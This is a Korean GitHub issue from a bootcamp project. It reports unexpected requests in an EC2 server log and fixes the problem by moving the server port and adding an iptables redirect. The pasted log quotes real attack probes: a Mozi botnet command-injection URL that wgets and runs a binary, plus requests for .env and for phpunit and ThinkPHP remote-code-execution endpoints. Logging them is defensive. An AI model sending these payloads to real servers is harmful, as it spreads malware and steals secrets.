codestates / codestates/DDO_Jurimma

[๐Ÿ”ง Back-End Error] #3 / EC2 ์˜๋„์น˜ ์•Š์€ ์š”์ฒญ ์ฐจ๋‹จ / 2021-09-30

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Back-End Error
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Description

# ์–ด๋–ค ์—๋Ÿฌ์ธ๊ฐ€์š”?

- ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ EC2 ์„œ๋ฒ„ ๋กœ๊ทธ์— ์˜๋„์น˜ ์•Š์€ ์š”์ฒญ์ด ์ฐํžŒ๊ฑธ ํ™•์ธ

# ์—๋Ÿฌ ๋ฉ”์‹œ์ง€

```cli
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms
POST /Autodiscover/Autodiscover.xml 404 0.214 ms - 10
GET /wp-content/plugins/wp-file-manager/readme.txt 404 0.228 ms - 10
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.205 ms - 10
POST /api/jsonws/invoke 404 0.168 ms - 10
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 404 0.199 ms - 10
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.210 ms - 10

GET /?XDEBUG_SESSION_START=phpstorm 200 0.221 ms - 12

POST /mifs/.;/services/LogService 404 0.217 ms - 10
GET /console/ 404 0.225 ms - 10
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms - 10
```

# ์—๋Ÿฌ ํ•ธ๋“ค๋ง ๋ฐฉ๋ฒ•

- ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋กœ ์„ค์ •ํ–ˆ๋˜ ์„œ๋ฒ„ ํฌํŠธ์ธ 80์„ ๋ณ€๊ฒฝํ–ˆ๋‹ค. EC2 ์ธ๋ฐ”์šด๋“œ ๊ทœ์น™์— ์ƒˆ๋กœ์šด ํฌํŠธ๋ฅผ ์ถ”๊ฐ€ํ–ˆ๊ณ , ์„œ๋ฒ„์˜ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ƒˆ๋กœ ์ถ”๊ฐ€ํ•œ ํฌํŠธ ๋ฒˆํ˜ธ๋กœ ๋ณ€๊ฒฝํ–ˆ๋‹ค.
- CloudFront๋Š” 80๋ฒˆ ํฌํŠธ ์‘๋‹ต๋งŒ HTTPS ๋กœ ๋ฐ”๊ฟ”์ฃผ๊ธฐ ๋•Œ๋ฌธ์—, ์ƒˆ๋กญ๊ฒŒ ์ถ”๊ฐ€ํ•œ ํฌํŠธ๋ฅผ 80๋ฒˆ ํฌํŠธ๋กœ ํฌ์›Œ๋”ฉ ์‹œํ‚ค๋Š” ๊ณผ์ •์ด ์ถ”๊ฐ€๋กœ ํ•„์š”ํ–ˆ๋‹ค.

```
sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port ๋‚ด๊ฐ€ ์ถ”๊ฐ€ํ•œ ํฌํŠธ
```

# ์—๋Ÿฌ ํ•ธ๋“ค๋ง์„ ์œ„ํ•ด ์ฐธ๊ณ ํ•œ ๋ ˆํผ๋Ÿฐ์Šค ๋งํฌ

[์•„๊ณ ๋ผ์Šคํ…Œ์ด์ธ ](https://github.com/codestates/agora-states/discussions/1567)

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